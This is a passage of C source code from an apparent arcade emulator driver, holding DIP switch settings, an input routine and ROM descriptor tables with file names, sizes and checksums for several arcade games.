}, {0 , 0xfe, 0 , 2 , "Freeze" }, {0x15, 0x01, 0x01, 0x01, "Off" }, {0x15, 0x01, 0x01, 0x00, "On" }, }; STDDIPINFO(Fncywld) static struct BurnDIPInfo SdfightDIPList[]= { // Default Values {0x13, 0xff, 0xff, 0x7f, NULL }, {0x14, 0xff, 0xff, 0xff, NULL }, // Dip 1 {0 , 0xfe, 0 , 2 , "Service Mode" }, {0x13, 0x01, 0x01, 0x01, "Off" }, {0x13, 0x01, 0x01, 0x00, "On" }, {0 , 0xfe, 0 , 8 , "Difficulty" }, {0x13, 0x01, 0x0e, 0x04, "1" }, {0x13, 0x01, 0x0e, 0x08, "2" }, {0x13, 0x01, 0x0e, 0x00, "3" }, {0x13, 0x01, 0x0e, 0x0e, "4" }, {0x13, 0x01, 0x0e, 0x06, "5" }, {0x13, 0x01, 0x0e, 0x0a, "6" }, {0x13, 0x01, 0x0e, 0x02, "7" }, {0x13, 0x01, 0x0e, 0x0c, "8" }, {0 , 0xfe, 0 , 8 , "Coinage" }, {0x13, 0x01, 0x70, 0x00, "5 Coins 1 Credit" }, {0x13, 0x01, 0x70, 0x40, "4 Coins 1 Credit" }, {0x13, 0x01, 0x70, 0x20, "3 Coins 1 Credit" }, {0x13, 0x01, 0x70, 0x60, "2 Coins 1 Credit" }, {0x13, 0x01, 0x70, 0x70, "1 Coin 1 Credit" }, {0x13, 0x01, 0x70, 0x50, "2 Coins 3 Credits" }, {0x13, 0x01, 0x70, 0x30, "1 Coin 2 Credits" }, {0x13, 0x01, 0x70, 0x10, "1 Coin 3 Credits" }, {0 , 0xfe, 0 , 2 , "Demo Sounds" }, {0x13, 0x01, 0x80, 0x80, "Off" }, {0x13, 0x01, 0x80, 0x00, "On" }, // Dip 2 {0 , 0xfe, 0 , 2 , "Free Play" }, {0x14, 0x01, 0x01, 0x01, "Off" }, {0x14, 0x01, 0x01, 0x00, "On" }, {0 , 0xfe, 0 , 2 , "Winning Rounds" }, {0x14, 0x01, 0x08, 0x08, "2" }, {0x14, 0x01, 0x08, 0x00, "3" }, {0 , 0xfe, 0 , 4 , "Time" }, {0x14, 0x01, 0xc0, 0x40, "30" }, {0x14, 0x01, 0xc0, 0x80, "50" }, {0x14, 0x01, 0xc0, 0xc0, "70" }, {0x14, 0x01, 0xc0, 0x00, "90" }, }; STDDIPINFO(Sdfight) static struct BurnDIPInfo BcstryDIPList[]= { // Default Values {0x13, 0xff, 0xff, 0x7f, NULL }, {0x14, 0xff, 0xff, 0xdf, NULL }, // Dip 1 {0 , 0xfe, 0 , 2 , "Service Mode" }, {0x13, 0x01, 0x01, 0x01, "Off" }, {0x13, 0x01, 0x01, 0x00, "On" }, {0 , 0xfe, 0 , 8 , "Difficulty" }, {0x13, 0x01, 0x0e, 0x04, "1" }, {0x13, 0x01, 0x0e, 0x08, "2" }, {0x13, 0x01, 0x0e, 0x00, "3" }, {0x13, 0x01, 0x0e, 0x0e, "4" }, {0x13, 0x01, 0x0e, 0x06, "5" }, {0x13, 0x01, 0x0e, 0x0a, "6" }, {0x13, 0x01, 0x0e, 0x02, "7" }, {0x13, 0x01, 0x0e, 0x0c, "8" }, {0 , 0xfe, 0 , 8 , "Coinage" }, {0x13, 0x01, 0x70, 0x00, "5 Coins 1 Credit" }, {0x13, 0x01, 0x70, 0x40, "4 Coins 1 Credit" }, {0x13, 0x01, 0x70, 0x20, "3 Coins 1 Credit" }, {0x13, 0x01, 0x70, 0x60, "2 Coins 1 Credit" }, {0x13, 0x01, 0x70, 0x70, "1 Coin 1 Credit" }, {0x13, 0x01, 0x70, 0x50, "2 Coins 3 Credits" }, {0x13, 0x01, 0x70, 0x30, "1 Coin 2 Credits" }, {0x13, 0x01, 0x70, 0x10, "1 Coin 3 Credits" }, {0 , 0xfe, 0 , 2 , "Demo Sounds" }, {0x13, 0x01, 0x80, 0x80, "Off" }, {0x13, 0x01, 0x80, 0x00, "On" }, // Dip 2 {0 , 0xfe, 0 , 2 , "Free Play" }, {0x14, 0x01, 0x01, 0x01, "Off" }, {0x14, 0x01, 0x01, 0x00, "On" }, {0 , 0xfe, 0 , 2 , "Event Selection" }, {0x14, 0x01, 0x20, 0x20, "Off" }, {0x14, 0x01, 0x20, 0x00, "On" }, {0 , 0xfe, 0 , 2 , "Control Type" }, {0x14, 0x01, 0x40, 0x40, "Joysticks & Buttons" }, {0x14, 0x01, 0x40, 0x00, "Buttons" }, {0 , 0xfe, 0 , 2 , "Debug Mode" }, {0x14, 0x01, 0x80, 0x80, "Off" }, {0x14, 0x01, 0x80, 0x00, "On" }, }; STDDIPINFO(Bcstry) static struct BurnDIPInfo SemibaseDIPList[]= { // Default Values {0x15, 0xff, 0xff, 0x7f, NULL }, {0x16, 0xff, 0xff, 0xdf, NULL }, // Dip 1 {0 , 0xfe, 0 , 2 , "Service Mode" }, {0x15, 0x01, 0x01, 0x01, "Off" }, {0x15, 0x01, 0x01, 0x00, "On" }, {0 , 0xfe, 0 , 8 , "Difficulty" }, {0x15, 0x01, 0x0e, 0x04, "1" }, {0x15, 0x01, 0x0e, 0x08, "2" }, {0x15, 0x01, 0x0e, 0x00, "3" }, {0x15, 0x01, 0x0e, 0x0e, "4" }, {0x15, 0x01, 0x0e, 0x06, "5" }, {0x15, 0x01, 0x0e, 0x0a, "6" }, {0x15, 0x01, 0x0e, 0x02, "7" }, {0x15, 0x01, 0x0e, 0x0c, "8" }, {0 , 0xfe, 0 , 8 , "Coinage" }, {0x15, 0x01, 0x70, 0x00, "5 Coins 1 Credit" }, {0x15, 0x01, 0x70, 0x40, "4 Coins 1 Credit" }, {0x15, 0x01, 0x70, 0x20, "3 Coins 1 Credit" }, {0x15, 0x01, 0x70, 0x60, "2 Coins 1 Credit" }, {0x15, 0x01, 0x70, 0x70, "1 Coin 1 Credit" }, {0x15, 0x01, 0x70, 0x50, "2 Coins 3 Credits" }, {0x15, 0x01, 0x70, 0x30, "1 Coin 2 Credits" }, {0x15, 0x01, 0x70, 0x10, "1 Coin 3 Credits" }, {0 , 0xfe, 0 , 2 , "Demo Sounds" }, {0x15, 0x01, 0x80, 0x80, "Off" }, {0x15, 0x01, 0x80, 0x00, "On" }, // Dip 2 {0 , 0xfe, 0 , 2 , "Free Play" }, {0x16, 0x01, 0x01, 0x01, "Off" }, {0x16, 0x01, 0x01, 0x00, "On" }, {0 , 0xfe, 0 , 2 , "vs CPU Game Ends" }, {0x16, 0x01, 0x20, 0x20, "+10" }, {0x16, 0x01, 0x20, 0x00, "+7" }, {0 , 0xfe, 0 , 2 , "Vs Game" }, {0x16, 0x01, 0x40, 0x40, "1 Credit / 2 Innings" }, {0x16, 0x01, 0x40, 0x00, "1 Credit / 3 Innings" }, {0 , 0xfe, 0 , 2 , "Full 2 Players Game" }, {0x16, 0x01, 0x80, 0x00, "4 Credits" }, {0x16, 0x01, 0x80, 0x80, "6 Credits" }, }; STDDIPINFO(Semibase) static struct BurnDIPInfo DquizgoDIPList[]= { // Default Values {0x13, 0xff, 0xff, 0x7f, NULL }, {0x14, 0xff, 0xff, 0xff, NULL }, // Dip 1 {0 , 0xfe, 0 , 2 , "Service Mode" }, {0x13, 0x01, 0x01, 0x01, "Off" }, {0x13, 0x01, 0x01, 0x00, "On" }, {0 , 0xfe, 0 , 8 , "Difficulty" }, {0x13, 0x01, 0x0e, 0x04, "1" }, {0x13, 0x01, 0x0e, 0x08, "2" }, {0x13, 0x01, 0x0e, 0x00, "3" }, {0x13, 0x01, 0x0e, 0x0e, "4" }, {0x13, 0x01, 0x0e, 0x06, "5" }, {0x13, 0x01, 0x0e, 0x0a, "6" }, {0x13, 0x01, 0x0e, 0x02, "7" }, {0x13, 0x01, 0x0e, 0x0c, "8" }, {0 , 0xfe, 0 , 8 , "Coinage" }, {0x13, 0x01, 0x70, 0x00, "3 Coins 1 Credit" }, {0x13, 0x01, 0x70, 0x40, "3 Coins 1 Credit" }, {0x13, 0x01, 0x70, 0x20, "3 Coins 1 Credit" }, {0x13, 0x01, 0x70, 0x60, "2 Coins 1 Credit" }, {0x13, 0x01, 0x70, 0x70, "1 Coin 1 Credit" }, {0x13, 0x01, 0x70, 0x50, "2 Coins 3 Credits" }, {0x13, 0x01, 0x70, 0x30, "1 Coin 2 Credits" }, {0x13, 0x01, 0x70, 0x10, "1 Coin 3 Credits" }, {0 , 0xfe, 0 , 2 , "Demo Sounds" }, {0x13, 0x01, 0x80, 0x80, "Off" }, {0x13, 0x01, 0x80, 0x00, "On" }, // Dip 2 {0 , 0xfe, 0 , 2 , "Free Play" }, {0x14, 0x01, 0x01, 0x01, "Off" }, {0x14, 0x01, 0x01, 0x00, "On" }, {0 , 0xfe, 0 , 4 , "Lives" }, {0x14, 0x01, 0xc0, 0x00, "2" }, {0x14, 0x01, 0xc0, 0xc0, "3" }, {0x14, 0x01, 0xc0, 0x40, "4" }, {0x14, 0x01, 0xc0, 0x80, "5" }, }; STDDIPINFO(Dquizgo) static struct BurnDIPInfo JumppopDIPList[]= { // Default Values {0x11, 0xff, 0xff, 0xff, NULL }, {0x12, 0xff, 0xff, 0xfe, NULL }, // Dip 1 {0 , 0xfe, 0 , 2 , "Service Mode" }, {0x11, 0x01, 0x01, 0x01, "Off" }, {0x11, 0x01, 0x01, 0x00, "On" }, {0 , 0xfe, 0 , 2 , "Free Play" }, {0x11, 0x01, 0x02, 0x02, "Off" }, {0x11, 0x01, 0x02, 0x00, "On" }, {0 , 0xfe, 0 , 8 , "Coin A" }, {0x11, 0x01, 0xe0, 0x00, "3 Coins 1 Credit" }, {0x11, 0x01, 0xe0, 0x80, "2 Coins 1 Credit" }, {0x11, 0x01, 0xe0, 0xe0, "1 Coin 1 Credit" }, {0x11, 0x01, 0xe0, 0x60, "1 Coin 2 Credits" }, {0x11, 0x01, 0xe0, 0xa0, "1 Coin 3 Credits" }, {0x11, 0x01, 0xe0, 0x20, "1 Coin 4 Credits" }, {0x11, 0x01, 0xe0, 0xc0, "1 Coin 5 Credits" }, {0x11, 0x01, 0xe0, 0x40, "1 Coin 6 Credits" }, {0 , 0xfe, 0 , 8 , "Coin B" }, {0x11, 0x01, 0x1c, 0x00, "3 Coins 1 Credit" }, {0x11, 0x01, 0x1c, 0x10, "2 Coins 1 Credit" }, {0x11, 0x01, 0x1c, 0x1c, "1 Coin 1 Credit" }, {0x11, 0x01, 0x1c, 0x0c, "1 Coin 2 Credits" }, {0x11, 0x01, 0x1c, 0x14, "1 Coin 3 Credits" }, {0x11, 0x01, 0x1c, 0x04, "1 Coin 4 Credits" }, {0x11, 0x01, 0x1c, 0x18, "1 Coin 5 Credits" }, {0x11, 0x01, 0x1c, 0x08, "1 Coin 6 Credits" }, // Dip 2 {0 , 0xfe, 0 , 2 , "Demo Sounds" }, {0x12, 0x01, 0x01, 0x01, "Off" }, {0x12, 0x01, 0x01, 0x00, "On" }, {0 , 0xfe, 0 , 2 , "Allow Continue" }, {0x12, 0x01, 0x02, 0x00, "Off" }, {0x12, 0x01, 0x02, 0x02, "On" }, {0 , 0xfe, 0 , 2 , "Picture Viewer" }, {0x12, 0x01, 0x04, 0x04, "Off" }, {0x12, 0x01, 0x04, 0x00, "On" }, {0 , 0xfe, 0 , 2 , "Background Type" }, {0x12, 0x01, 0x08, 0x08, "1" }, {0x12, 0x01, 0x08, 0x00, "2" }, {0 , 0xfe, 0 , 4 , "Difficulty" }, {0x12, 0x01, 0x30, 0x20, "Easy" }, {0x12, 0x01, 0x30, 0x30, "Normal" }, {0x12, 0x01, 0x30, 0x10, "Hard" }, {0x12, 0x01, 0x30, 0x00, "Hardest" }, {0 , 0xfe, 0 , 4 , "Lives" }, {0x12, 0x01, 0xc0, 0x80, "1" }, {0x12, 0x01, 0xc0, 0x00, "2" }, {0x12, 0x01, 0xc0, 0xc0, "3" }, {0x12, 0x01, 0xc0, 0x40, "4" }, }; STDDIPINFO(Jumppop) static inline void DrvMakeInputs() { // Reset Inputs DrvInput[0] = DrvInput[1] = DrvInput[2] = 0x00; // Compile Digital Inputs for (int i = 0; i < 8; i++) { DrvInput[0] |= (DrvInputPort0[i] & 1) << i; DrvInput[1] |= (DrvInputPort1[i] & 1) << i; DrvInput[2] |= (DrvInputPort2[i] & 1) << i; } // Clear Opposites DrvClearOpposites(&DrvInput[0]); DrvClearOpposites(&DrvInput[1]); } static struct BurnRomInfo TumblebRomDesc[] = { { "thumbpop.12", 0x40000, 0x0c984703, BRF_ESS | BRF_PRG }, // 0 68000 Program Code { "thumbpop.13", 0x40000, 0x864c4053, BRF_ESS | BRF_PRG }, // 1 { "thumbpop.19", 0x40000, 0x0795aab4, BRF_GRA }, // 2 Tiles { "thumbpop.18", 0x40000, 0xad58df43, BRF_GRA }, // 3 { "map-01.rom", 0x80000, 0xe81ffa09, BRF_GRA }, // 4 Sprites { "map-00.rom", 0x80000, 0x8c879cfe, BRF_GRA }, // 5 { "thumbpop.snd", 0x80000, 0xfabbf15d, BRF_SND }, // 6 Samples }; STD_ROM_PICK(Tumbleb) STD_ROM_FN(Tumbleb) static struct BurnRomInfo Tumbleb2RomDesc[] = { { "thumbpop.2", 0x40000, 0x34b016e1, BRF_ESS | BRF_PRG }, // 0 68000 Program Code { "thumbpop.3", 0x40000, 0x89501c71, BRF_ESS | BRF_PRG }, // 1 { "thumbpop.19", 0x40000, 0x0795aab4, BRF_GRA }, // 2 Tiles { "thumbpop.18", 0x40000, 0xad58df43, BRF_GRA }, // 3 { "map-01.rom", 0x80000, 0xe81ffa09, BRF_GRA }, // 4 Sprites { "map-00.rom", 0x80000, 0x8c879cfe, BRF_GRA }, // 5 { "thumbpop.snd", 0x80000, 0xfabbf15d, BRF_SND }, // 6 Samples { "pic_16c57", 0x02d4c, 0x00000000, BRF_NODUMP }, }; STD_ROM_PICK(Tumbleb2) STD_ROM_FN(Tumbleb2) static struct BurnRomInfo JumpkidsRomDesc[] = { { "23-ic29.15c", 0x40000, 0x6ba11e91, BRF_ESS | BRF_PRG }, // 0 68000 Program Code { "24-ic30.17c", 0x40000, 0x5795d98b, BRF_ESS | BRF_PRG }, // 1 { "22-ic19.3c", 0x08000, 0xbd619530, BRF_ESS | BRF_PRG }, // 2 Z80 Program Code { "30-ic125.15j", 0x40000, 0x44b9a089, BRF_GRA }, // 3 Tiles { "29-ic124.13j", 0x40000, 0x3f98ec69, BRF_GRA }, // 4 { "25-ic69.1g", 0x40000, 0x176ae857, BRF_GRA }, // 5 Sprites { "28-ic131.1l", 0x40000, 0xed837757, BRF_GRA }, // 6 { "26-ic70.2g", 0x40000, 0xe8b34980, BRF_GRA }, // 7 { "27-ic100.1j", 0x40000, 0x3918dda3, BRF_GRA }, // 8 { "21-ic17.1c", 0x80000, 0xe5094f75, BRF_SND }, // 9 Samples { "ic18.2c", 0x20000, 0xa63736c3, BRF_SND }, // 10 }; STD_ROM_PICK(Jumpkids) STD_ROM_FN(Jumpkids) static struct BurnRomInfo MetlsavrRomDesc[] = { { "first-4.ub17", 0x40000, 0x667a494d, BRF_ESS | BRF_PRG }, // 0 68000 Program Code { "first-3.ub18", 0x40000, 0x87bf4ed2, BRF_ESS | BRF_PRG }, // 1 { "first-2.ua7", 0x10000, 0x49505edf, BRF_ESS | BRF_PRG }, // 2 Z80 Program Code { "protdata.bin", 0x00200, 0x17aa17a9, BRF_ESS | BRF_PRG }, // 3 Shared RAM Data { "first-5.rom5", 0x40000, 0xdd4af746, BRF_GRA }, // 4 Tiles { "first-6.rom6", 0x40000, 0x808b0e0b, BRF_GRA }, // 5 { "first-7.uor1", 0x80000, 0xa6816747, BRF_GRA }, // 6 Sprites { "first-8.uor2", 0x80000, 0x377020e5, BRF_GRA }, // 7 { "first-9.uor3", 0x80000, 0xfccf1bb7, BRF_GRA }, // 8 { "first-10.uor4", 0x80000, 0xa22b587b, BRF_GRA }, // 9 { "first-1.uc1", 0x40000, 0xe943dacb, BRF_SND }, // 10 Samples { "87c52.mcu", 0x10000, 0x00000000, BRF_NODUMP }, // 11 }; STD_ROM_PICK(Metlsavr) STD_ROM_FN(Metlsavr) static struct BurnRomInfo PangpangRomDesc[] = { { "2.bin", 0x40000, 0x45436666, BRF_ESS | BRF_PRG }, // 0 68000 Program Code { "3.bin", 0x40000, 0x2725cbe7, BRF_ESS | BRF_PRG }, // 1 { "11.bin", 0x40000, 0xa2b9fec8, BRF_GRA }, // 2 Tiles { "10.bin", 0x40000, 0x4f59d7b9, BRF_GRA }, // 3 { "6.bin", 0x40000, 0x1ebbc4f1, BRF_GRA }, // 4 { "7.bin", 0x40000, 0xcd544173, BRF_GRA }, // 5 { "8.bin", 0x40000, 0xea0fa1e0, BRF_GRA }, // 6 Sprites { "9.bin", 0x40000, 0x1da5fe49, BRF_GRA }, // 7 { "4.bin", 0x40000, 0x4f282eb1, BRF_GRA }, // 8 { "5.bin", 0x40000, 0x00694df9, BRF_GRA }, // 9 { "1.bin", 0x80000, 0xe722bb02, BRF_SND }, // 10 Samples { "pic_16c57", 0x02d4c, 0x1ca515b4, BRF_OPT }, }; STD_ROM_PICK(Pangpang) STD_ROM_FN(Pangpang) static struct BurnRomInfo SuprtrioRomDesc[] = { { "rom2", 0x40000, 0x4102e59d, BRF_ESS | BRF_PRG }, // 0 68000 Program Code { "rom1", 0x40000, 0xcc3a83c3, BRF_ESS | BRF_PRG }, // 1 { "rom4l", 0x10000, 0x466aa96d, BRF_ESS | BRF_PRG }, // 2 Z80 Program Code { "rom4", 0x80000, 0xcd2dfae4, BRF_GRA }, // 3 Tiles { "rom5", 0x80000, 0x4e64da64, BRF_GRA }, // 4 { "rom9l", 0x40000, 0xcc45f437, BRF_GRA }, // 5 Sprites { "rom8l", 0x40000, 0x9bc90169, BRF_GRA }, // 6 { "rom7l", 0x40000, 0xbfc7c756, BRF_GRA }, // 7 { "rom6l", 0x40000, 0xbb3499af, BRF_GRA }, // 8 { "rom3h", 0x80000, 0x34ea7ec9, BRF_SND }, // 9 Samples { "rom3l", 0x20000, 0x1b73233b, BRF_SND }, // 10 }; STD_ROM_PICK(Suprtrio) STD_ROM_FN(Suprtrio) static struct BurnRomInfo HtchctchRomDesc[] = { { "p04.b17", 0x20000, 0x6991483a, BRF_ESS | BRF_PRG }, // 0 68000 Program Code { "p03.b16", 0x20000, 0xeff14c40, BRF_ESS | BRF_PRG }, // 1 { "p02.b5", 0x10000, 0xc5a03186, BRF_ESS | BRF_PRG }, // 2 Z80 Program Code { "protdata.bin", 0x00200, 0x5b27adb6, BRF_ESS | BRF_PRG }, // 3 Shared RAM Data { "p06srom5.bin", 0x40000, 0x3d2cbb0d, BRF_GRA }, // 4 Tiles { "p07srom6.bin", 0x40000, 0x0207949c, BRF_GRA }, // 5 { "p08uor1.bin", 0x20000, 0x6811e7b6, BRF_GRA }, // 6 Sprites { "p09uor2.bin", 0x20000, 0x1c6549cf, BRF_GRA }, // 7 { "p10uor3.bin", 0x20000, 0x6462e6e0, BRF_GRA }, // 8 { "p11uor4.bin", 0x20000, 0x9c511d98, BRF_GRA }, // 9 { "p01.c1", 0x20000, 0x18c06829, BRF_SND }, // 10 Samples { "87c52.mcu", 0x10000, 0x00000000, BRF_NODUMP }, // 11 }; STD_ROM_PICK(Htchctch) STD_ROM_FN(Htchctch) static struct BurnRomInfo CookbibRomDesc[] = { { "prg2.ub17", 0x20000, 0x2664a335, BRF_ESS | BRF_PRG }, // 0 68000 Program Code { "prg1.ub16", 0x20000, 0xcda6335f, BRF_ESS | BRF_PRG }, // 1 { "prg-s.ub5", 0x10000, 0x547d6ea3, BRF_ESS | BRF_PRG }, // 2 Z80 Program Code { "protdata.bin", 0x00200, 0xa77d13f4, BRF_ESS | BRF_PRG }, // 3 Shared RAM Data { "srom5.bin", 0x40000, 0x73a46e43, BRF_GRA }, // 4 Tiles { "srom6.bin", 0x40000, 0xade2dbec, BRF_GRA }, // 5 { "uor1.bin", 0x20000, 0xa7d91f23, BRF_GRA }, // 6 Sprites { "uor2.bin", 0x20000, 0x9aacbec2, BRF_GRA }, // 7 { "uor3.bin", 0x20000, 0x3fee0c3c, BRF_GRA }, // 8 { "uor4.bin", 0x20000, 0xbed9ed2d, BRF_GRA }, // 9 { "sound.uc1", 0x20000, 0x545e19b6, BRF_SND }, // 10 Samples { "87c52.mcu", 0x10000, 0x00000000, BRF_NODUMP }, // 11 }; STD_ROM_PICK(Cookbib) STD_ROM_FN(Cookbib) static struct BurnRomInfo ChokchokRomDesc[] = { { "ub17.bin", 0x40000, 0xecdb45ca, BRF_ESS | BRF_PRG }, // 0 68000 Program Code { "ub18.bin", 0x40000, 0xb183852a, BRF_ESS | BRF_PRG }, // 1 { "ub5.bin", 0x10000, 0x30c2171d, BRF_ESS | BRF_PRG }, // 2 Z80 Program Code { "protdata.bin", 0x00200, 0x0bd39834, BRF_ESS | BRF_PRG }, // 3 Shared RAM Data { "srom5.bin", 0x80000, 0x836608b8, BRF_GRA }, // 4 Tiles { "srom6.bin", 0x80000, 0x31d5715d, BRF_GRA }, // 5 { "uor1.bin", 0x80000, 0xded6642a, BRF_GRA }, // 6 Sprites { "uor2.bin", 0x80000, 0x493f9516, BRF_GRA }, // 7 { "uor3.bin", 0x80000, 0xe2dc3e12, BRF_GRA }, // 8 { "uor4.bin", 0x80000, 0x6f377530, BRF_GRA }, // 9 { "uc1.bin", 0x40000, 0xf3f57abd, BRF_SND }, // 10 Samples { "87c52.mcu", 0x10000, 0x00000000, BRF_NODUMP }, // 11 }; STD_ROM_PICK(Chokchok) STD_ROM_FN(Chokchok) static struct BurnRomInfo WlstarRomDesc[] = { { "n-4.u817", 0x40000, 0xfc3e829b, BRF_ESS | BRF_PRG }, // 0 68000 Program Code { "n-3.u818", 0x40000, 0xf01bc623, BRF_ESS | BRF_PRG }, // 1 { "ua7", 0x10000, 0x90cafa5f, BRF_ESS | BRF_PRG }, // 2 Z80 Program Code { "protdata.bin", 0x00200, 0xb7ffde5b, BRF_ESS | BRF_PRG }, // 3 Shared RAM Data { "5.srom5", 0x80000, 0xf7f8c859, BRF_GRA }, // 4 Tiles { "6.srom6", 0x80000, 0x34ace2a8, BRF_GRA }, // 5 { "7.udr1", 0x80000, 0x6e47c31d, BRF_GRA }, // 6 Sprites { "8.udr2", 0x80000, 0x09c5d57c, BRF_GRA }, // 7 { "9.udr3", 0x80000, 0x3ec064f0, BRF_GRA }, // 8 { "10.udr4", 0x80000, 0xb4693cdd, BRF_GRA }, // 9 { "ua1", 0x40000, 0xde217d30, BRF_SND }, // 10 Samples { "87c52.mcu", 0x10000, 0x00000000, BRF_NODUMP }, // 11 }; STD_ROM_PICK(Wlstar) STD_ROM_FN(Wlstar) static struct BurnRomInfo Wondl96RomDesc[] = { { "ub17.bin", 0x40000, 0x41d8e03c, BRF_ESS | BRF_PRG }, // 0 68000 Program Code { "ub18.bin", 0x40000, 0x0e4963af, BRF_ESS | BRF_PRG }, // 1 { "ub5.bin", 0x10000, 0xd99d19c4, BRF_ESS | BRF_PRG }, // 2 Z80 Program Code { "protdata.bin", 0x00200, 0xd7578b1e, BRF_ESS | BRF_PRG }, // 3 Shared RAM Data { "srom5.bin", 0x80000, 0xdb8010c3, BRF_GRA }, // 4 Tiles { "srom6.bin", 0x80000, 0x2f364e54, BRF_GRA }, // 5 { "uor1.bin", 0x80000, 0xe1e9eebb, BRF_GRA }, // 6 Sprites { "uor2.bin", 0x80000, 0xddebfe83, BRF_GRA }, // 7 { "uor3.bin", 0x80000, 0x7efe4d67, BRF_GRA }, // 8 { "uor4.bin", 0x80000, 0x7b1596d1, BRF_GRA }, // 9 { "uc1.bin", 0x40000, 0x0e7913e6, BRF_SND }, // 10 Samples { "87c52.mcu", 0x10000, 0x00000000, BRF_NODUMP }, // 11 }; STD_ROM_PICK(Wondl96) STD_ROM_FN(Wondl96) static struct BurnRomInfo FncywldRomDesc[] = { { "01_fw02.bin", 0x80000, 0xecb978c1, BRF_ESS | BRF_PRG }, // 0 68000 Program Code { "02_fw03.bin", 0x80000, 0x2d233b42, BRF_ESS | BRF_PRG }, // 1 { "08_fw09.bin", 0x40000, 0xa4a00de9, BRF_GRA }, // 2 Tiles { "07_fw08.bin", 0x40000, 0xb48cd1d4, BRF_GRA }, // 3 { "10_fw11.bin", 0x40000, 0xf21bab48, BRF_GRA }, // 4 { "09_fw10.bin", 0x40000, 0x6aea8e0f, BRF_GRA }, // 5 { "05_fw06.bin", 0x40000, 0xe141ecdc, BRF_GRA }, // 6 Sprites { "06_fw07.bin", 0x40000, 0x0058a812, BRF_GRA }, // 7 { "03_fw04.bin", 0x40000, 0x6ad38c14, BRF_GRA }, // 8 { "04_fw05.bin", 0x40000, 0xb8d079a6, BRF_GRA }, // 9 { "00_fw01.bin", 0x40000, 0xb395fe01, BRF_SND }, // 10 Samples }; STD_ROM_PICK(Fncywld) STD_ROM_FN(Fncywld) static struct BurnRomInfo SdfightRomDesc[] = { { "u817", 0x80000, 0x9f284f4d, BRF_ESS | BRF_PRG }, // 0 68000 Program Code { "u818", 0x80000, 0xa60e5b22, BRF_ESS | BRF_PRG }, // 1 { "ua7", 0x10000, 0xc3d36da4, BRF_ESS | BRF_PRG }, // 2 Z80 Program Code { "protdata.bin", 0x00200, 0xefb8b822, BRF_ESS | BRF_PRG }, // 3 Shared RAM Data { "9.ug11", 0x80000, 0xbf809ccd, BRF_GRA }, // 4 Tiles { "10.ug12", 0x80000, 0xa5a3bfa2, BRF_GRA }, // 5 { "15.ui11", 0x80000, 0x3bc8aa6d, BRF_GRA }, // 6 { "16.ui12", 0x80000, 0x71e6b78d, BRF_GRA }, // 7 { "11.uk2", 0x80000, 0xd006fadc, BRF_GRA }, // 8 Sprites { "12.uk3", 0x80000, 0x2a2f4153, BRF_GRA }, // 9 { "5.uj2", 0x80000, 0xf1246cbf, BRF_GRA }, // 10 { "6.uj3", 0x80000, 0xd346878c, BRF_GRA }, // 11 { "13.uk4", 0x80000, 0x9bc40774, BRF_GRA }, // 12 { "14.uk5", 0x80000, 0xa1e61674, BRF_GRA }, // 13 { "7.uj4", 0x80000, 0xdbdece8a, BRF_GRA }, // 14 { "8.uj5", 0x80000, 0x60be7dd1, BRF_GRA }, // 15 { "uc1", 0x40000, 0x535cae2c, BRF_SND }, // 16 Samples { "87c52.mcu", 0x10000, 0x00000000, BRF_NODUMP }, // 17 }; STD_ROM_PICK(Sdfight) STD_ROM_FN(Sdfight) static struct BurnRomInfo BcstryRomDesc[] = { { "bcstry_u.62", 0x40000, 0x7f7aa244, BRF_ESS | BRF_PRG }, // 0 68000 Program Code { "bcstry_u.35", 0x40000, 0xd25b80a4, BRF_ESS | BRF_PRG }, // 1 { "bcstry_u.21", 0x10000, 0x3ba072d4, BRF_ESS | BRF_PRG }, // 2 Z80 Program Code { "protdata.bin", 0x00200, 0xe84e328c, BRF_ESS | BRF_PRG }, // 3 Shared RAM Data { "bcstry_u.109", 0x80000, 0xeb04d37a, BRF_GRA }, // 4 Tiles { "bcstry_u.113", 0x80000, 0x746ecdd7, BRF_GRA }, // 5 { "bcstry_u.110", 0x80000, 0x1bfe65c3, BRF_GRA }, // 6 { "bcstry_u.111", 0x80000, 0xc8bf3a3c, BRF_GRA }, // 7 { "bcstry_u.100", 0x80000, 0x8c11cbed, BRF_GRA }, // 8 Sprites { "bcstry_u.106", 0x80000, 0x5219bcbf, BRF_GRA }, // 9 { "bcstry_u.99", 0x80000, 0xcdb1af87, BRF_GRA }, // 10 { "bcstry_u.105", 0x80000, 0x8166b596, BRF_GRA }, // 11 { "bcstry_u.104", 0x80000, 0x377c0c71, BRF_GRA }, // 12 { "bcstry_u.108", 0x80000, 0x442307ed, BRF_GRA }, // 13 { "bcstry_u.102", 0x80000, 0x71b40ece, BRF_GRA }, // 14 { "bcstry_u.107", 0x80000, 0xab3c923a, BRF_GRA }, // 15 { "bcstry_u.64", 0x40000, 0x23f0e0fe, BRF_SND }, // 16 Samples { "87c52.mcu", 0x10000, 0x00000000, BRF_NODUMP }, // 17 }; STD_ROM_PICK(Bcstry) STD_ROM_FN(Bcstry) static struct BurnRomInfo BcstryaRomDesc[] = { { "prg2.ic62", 0x40000, 0xf54c0a96, BRF_ESS | BRF_PRG }, // 0 68000 Program Code { "prg1.ic35", 0x40000, 0x2c55100a, BRF_ESS | BRF_PRG }, // 1 { "bcstry_u.21", 0x10000, 0x3ba072d4, BRF_ESS | BRF_PRG }, // 2 Z80 Program Code { "protdata.bin", 0x00200, 0xe84e328c, BRF_ESS | BRF_PRG }, // 3 Shared RAM Data { "bcstry_u.109", 0x80000, 0xeb04d37a, BRF_GRA }, // 4 Tiles { "bcstry_u.113", 0x80000, 0x746ecdd7, BRF_GRA }, // 5 { "bcstry_u.110", 0x80000, 0x1bfe65c3, BRF_GRA }, // 6 { "bcstry_u.111", 0x80000, 0xc8bf3a3c, BRF_GRA }, // 7 { "bcstry_u.100", 0x80000, 0x8c11cbed, BRF_GRA }, // 8 Sprites { "bcstry_u.106", 0x80000, 0x5219bcbf, BRF_GRA }, // 9 { "bcstry_u.99", 0x80000, 0xcdb1af87, BRF_GRA }, // 10 { "bcstry_u.105", 0x80000, 0x8166b596, BRF_GRA }, // 11 { "bcstry_u.104", 0x80000, 0x377c0c71, BRF_GRA }, // 12 { "bcstry_u.108", 0x80000, 0x442307ed, BRF_GRA }, // 13 { "bcstry_u.102", 0x80000, 0x71b40ece, BRF_GRA }, // 14 { "bcstry_u.107", 0x80000, 0xab3c923a, BRF_GRA }, // 15 { "bcstry_u.64", 0x40000, 0x23f0e0fe, BRF_SND }, // 16 Samples { "87c52.mcu", 0x10000, 0x00000000, BRF_NODUMP }, // 17 }; STD_ROM_PICK(Bcstrya) STD_ROM_FN(Bcstrya) static struct BurnRomInfo SemibaseRomDesc[] = { { 